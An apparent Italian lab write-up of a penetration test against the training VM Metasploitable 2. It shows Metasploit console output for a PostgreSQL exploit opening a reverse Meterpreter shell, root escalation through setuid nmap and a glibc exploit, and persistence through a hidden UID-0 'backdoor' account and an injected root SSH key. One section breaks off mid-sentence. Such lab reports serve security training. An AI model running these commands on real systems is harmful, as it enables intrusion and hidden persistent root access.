

REPORT: PostgreSQL su Metasploitable 2

Introduzione

Il report in questione di penetration testing espone i risultati di una valutazione di sicurezza condotta sul sistema target "Metasploitable 2". L'analisi ha dimostrato un percorso di attacco critico, incentrato sulla compromissione di un servizio di database PostgreSQL esposto. Questo report illustra l'ottenimento dell'accesso iniziale fino al controllo totale del sistema, dimostrando come una singola vulnerabilità in un servizio di rete possa diventare il punto di ingresso per una compromissione sistemica e persistente.

Obiettivi Principali

Gli obiettivi dell'esercitazione sono stati i seguenti:

- **Sfruttamento della Vulnerabilità Iniziale:** Verificare la possibilità di ottenere un accesso non autorizzato al sistema target sfruttando una debolezza nota nel servizio **PostgreSQL**.
- **Escalation dei Privilegi:** Valutare la possibilità di elevare i privilegi da un account utente limitato (**postgres**) all'account amministrativo (**root**).
- **Stabilimento della Persistenza:** Dimostrare la capacità di mantenere un accesso a lungo termine al sistema compromesso attraverso l'installazione di una backdoor.

Accesso Iniziale tramite Exploitation di PostgreSQL

- L'accesso iniziale costituisce una fase cruciale in ogni catena di attacco. L'esposizione in rete di un servizio non correttamente configurato o vulnerabile può fungere da varco per compromettere l'intera infrastruttura.

Attività Svolta

- È stata identificata una vulnerabilità sul servizio **PostgreSQL** in esecuzione sulla porta **5432** del sistema target. Per lo sfruttamento di tale debolezza, è stato utilizzato Metasploit, selezionando il modulo specifico **exploit/linux/postgres/postgres_payload**.

Sono stati impostati:

1. **RHOST: 192.168.50.11 (ip macchina target)**
2. **LHOST : 192.168.50.35 (ip macchina attaccante)**

View the full module info with the `info`, or `info -d` command.

```
msf exploit(linux/postgres/postgres_payload) > set RHOST 192.168.50.11
RHOST => 192.168.50.11
msf exploit(linux/postgres/postgres_payload) > set LHOST 192.168.50.35
LHOST => 192.168.50.35
msf exploit(linux/postgres/postgres_payload) > options
```

Module options (exploit/linux/postgres/postgres_payload):

Name	Current Setting	Required	Description
VERBOSE	false	no	Enable verbose output

Used when connecting via an existing SESSION:

Name	Current Setting	Required	Description
SESSION		no	The session to run this module on

Used when making a new connection via RHOSTS:

Name	Current Setting	Required	Description
DATABASE	postgres	no	The database to authenticate against
PASSWORD	postgres	no	The password for the specified username. Leave blank for a random password
RHOSTS	192.168.50.11	no	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/
RPORT	5432	no	The target port (TCP)
USERNAME	postgres	no	The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.50.35	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Meccanismo dell'Attacco

- L'exploit sfrutta una vulnerabilità che consente a un utente di utilizzare le funzioni legittime del database per caricare una libreria condivisa malevola (file **.so**) nello spazio di memoria del server. Questo abuso di funzionalità porta direttamente all'esecuzione di codice arbitrario sul sistema target, consentendo all'attaccante di eseguire un payload che ha stabilito una connessione inversa, nota come sessione **Meterpreter**, verso la macchina dell'attaccante.

Risultato Ottenuto

- L'exploit è stato eseguito con successo, portando all'apertura di una sessione Meterpreter remota. Questo ha garantito un accesso iniziale al sistema con i privilegi dell'utente di servizio che esegue il processo del database: **postgres**.

```
View the full module info with the info, or info -d command.

msf exploit(linux/postgres/postgres_payload) > exploit
[*] Started reverse TCP handler on 192.168.50.35:4444
[*] 192.168.50.11:5432 - 192.168.50.11:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.50.11:5432 - Uploaded as /tmp/XxLamRbT.so, should be cleaned up automatically
[*] Sending stage (1062760 bytes) to 192.168.50.11
[*] Meterpreter session 1 opened (192.168.50.35:4444 -> 192.168.50.11:50324) at 2026-01-21 08:43:47 -0500

meterpreter > |
```

Post-Exploitation e Ricerca di Vulnerabilità Locali

Una volta stabilita una presenza sul sistema target, l'attaccante passa dalla prospettiva esterna a quella interna. La fase di *post-exploitation* è dedicata all'inventario delle risorse interne, essenziale per valutare il livello di privilegio acquisito e, in particolare, per tracciare le vie più efficienti per un'ulteriore e più profonda compromissione.

Verifica dei Privilegi Iniziali

- All'interno della sessione Meterpreter, è stato eseguito il comando **getuid** per verificare l'identità dell'utente compromesso. L'output ha confermato che la sessione operava con i privilegi dell'utente **postgres**. Questo account, dedicato alla gestione del servizio di

Escalation dei Privilegi di Root

Il processo di **escalation dei privilegi** consiste nell'ottenere autorizzazioni superiori partendo da un account con poteri limitati. L'obiettivo fondamentale è l'acquisizione dei privilegi di **root** (User ID uid=0), poiché ciò conferisce all'attaccante il controllo totale e incondizionato del sistema target, consentendo la modifica di file, processi e configurazioni.

Scelta e Implementazione dell'Exploit

Facendo seguito ai suggerimenti forniti dal modulo *local_exploit_suggester* nella fase precedente, è stato selezionato e configurato l'exploit locale *exploit/unix/local/setuid_nmap*. Questo exploit è stato quindi indirizzato alla sessione Meterpreter già attiva, sfruttandola come canale per l'esecuzione del codice malevolo direttamente sulla macchina bersaglio.

```
msf exploit(unix/local/setuid_nmap) > run
[*] Started reverse TCP handler on 192.168.50.35:4444
[*] Dropping lua /tmp/DwVraJir.nse
[*] Running /tmp/DwVraJir.nse with Nmap
[*] Sending stage (3090404 bytes) to 192.168.50.11
[*] Sending stage (3090404 bytes) to 192.168.50.11
[*] Sending stage (3090404 bytes) to 192.168.50.11
[*] Meterpreter session 2 opened (192.168.50.35:4444 -> 192.168.50.11:44552) at 2026-01-21 10:01:43 -0500

meterpreter > [*] Meterpreter session 3 opened (192.168.50.35:4444 -> 192.168.50.11:44553) at 2026-01-21 10:01:43 -0500
```

Principio Tecnico dell'Exploit

Questo modulo sfrutta una nota vulnerabilità di configurazione (Misconfiguration) presente nelle versioni di Nmap. L'exploit rileva la presenza del bit **SUID** sull'eseguibile, che forza l'esecuzione del processo con l'identità del proprietario del file (Root), indipendentemente dall'utente chiamante.

```
meterpreter > shell
Process 6206 created.
Channel 118 created.
/usr/bin/nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
whoami
root
```

Stabilimento della Persistenza tramite Backdoor

In un attacco informatico, la persistenza è una fase cruciale che segue la compromissione. Dopo aver ottenuto il controllo di un sistema, un attaccante cerca di installare un meccanismo di accesso nascosto, o "backdoor", per poter rientrare a piacimento in futuro. Questo elimina la necessità di ripetere l'intera catena di exploitation e riduce significativamente il rischio di essere rilevati.

Installazione della Backdoor

Per garantire l'accesso futuro al sistema compromesso, è stata scelta la tecnica di creazione di un **account privilegiato nascosto** che garantisce un accesso stabile tramite il protocollo standard SSH.

Esecuzione Sfruttando i privilegi di root ottenuti nella fase precedente, è stato creato un nuovo utente nel sistema con le seguenti caratteristiche:

- **Username:** **backdoor**
- **User ID (UID):** 0 (La stessa ID dell'utente root).
- **Comando:** `useradd -o -u 0 -g 0 -m -s /bin/bash backdoor`

```
whoami
root
useradd -o -u 0 -g 0 -m -s /bin/bash backdoor
useradd: user backdoor exists
userdel -r backdoor
useradd -o -u 0 -g 0 -m -s /bin/bash backdoor
echo "backdoor:ep1code" | chpasswd
```

Assegnando manualmente l'UID 0, l'utente **backdoor** possiede gli stessi poteri dell'amministratore di sistema, pur avendo credenziali di accesso separate.

Prova di Funzionamento Per verificare l'efficacia della backdoor, è stato eseguito un test di accesso in una fase successiva. Utilizzando un client SSH e la chiave privata corrispondente, è stato avviato un tentativo di login verso il sistema target. L'accesso è avvenuto con

successo fornendo una shell con privilegi di **root**. Questo ha dimostrato che la backdoor era pienamente funzionale, garantendo un accesso amministrativo persistente e discreto.

```
(kali㉿kali)-[~]
└─$ ssh backdoor@192.168.50.11
Unable to negotiate with 192.168.50.11 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

(kali㉿kali)-[~]
└─$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa backdoor@192.168.50.11
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
backdoor@192.168.50.11's password:
Last login: Wed Jan 21 08:19:19 2026 from :0.0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
root@metasploitable:~#
```

Metodo 2

Exploit utilizzato:

exploit/linux/local/glibc_ld_audit_dso_load_priv_esc

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set SESSION 1
SESSION => 1
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
[*] Started reverse TCP handler on 192.168.50.35:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.knotYI' (1271 bytes) ...
[*] Writing '/tmp/.flqRfOu' (276 bytes) ...
[*] Writing '/tmp/.bmndsM' (207 bytes) ...
[*] Launching exploit...
[*] Sending stage (1062760 bytes) to 192.168.50.11
[*] Meterpreter session 2 opened (192.168.50.35:4444 -> 192.168.50.11:45469) at 2026-01-21 12:11:24 -0500

meterpreter > getuid
Server username: root
meterpreter >
```

Comando eseguito:

use post/linux/manage/sshkey_persistence

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > search post/linux/manage/sshkey_persistence

Matching Modules
=====
#  Name                                     Disclosure Date   Rank      Check  Description
-  -  -                                     -
0  post/linux/manage/sshkey_persistence .               excellent No     SSH Key Persistence

Interact with a module by name or index. For example info 0, use 0 or use post/linux/manage/sshkey_persistence

msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > use 0
msf post(linux/manage/sshkey_persistence) > set SESSION 2
SESSION => 2
msf post(linux/manage/sshkey_persistence) > options

Module options (post/linux/manage/sshkey_persistence):

  Name          Current Setting  Required  Description
  ----          -
CREATESSHOLDER  false           yes       If no .ssh folder is found, create it for a user
PUBKEY          no              no        Public Key File to use. (Default: Create a new one)
SESSION         2              yes       The session to run this module on
SSHD_CONFIG     /etc/ssh/ssh_config yes       sshd_config file
USERNAME        no              no        User to add SSH key to (Default: all users on box)

View the full module info with the info, or info -d command.

msf post(linux/manage/sshkey_persistence) > CREATESSHOLDER true
[-] Unknown command: CREATESSHOLDER. Run the help command for more details.
msf post(linux/manage/sshkey_persistence) > set CREATESSHOLDER true
CREATESSHOLDER => true
msf post(linux/manage/sshkey_persistence) > set USERNAME root
USERNAME => root
msf post(linux/manage/sshkey_persistence) > run
[*] Checking SSH Permissions
[*] Authorized Keys File: .ssh/authorized_keys
[+] Storing new private key as /home/kali/.msf4/loot/20260121121733_default_192.168.50.11_id_rsa_497796.txt
[*] Adding key to /root/.ssh/authorized_keys
[+] Key Added
[*] Post module execution completed
msf post(linux/manage/sshkey_persistence) > █
```

Verifica backdoor su nuovo terminale:

```
└─(kali@kali)-[~]
└─$ ssh -i /home/kali/.msf4/loot/20260121121733_default_192.168.50.11_id_rsa_497796.txt -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa root@192.168.50.11
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Last login: Wed Jan 21 10:19:14 2026 from 192.168.50.35
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~# █
```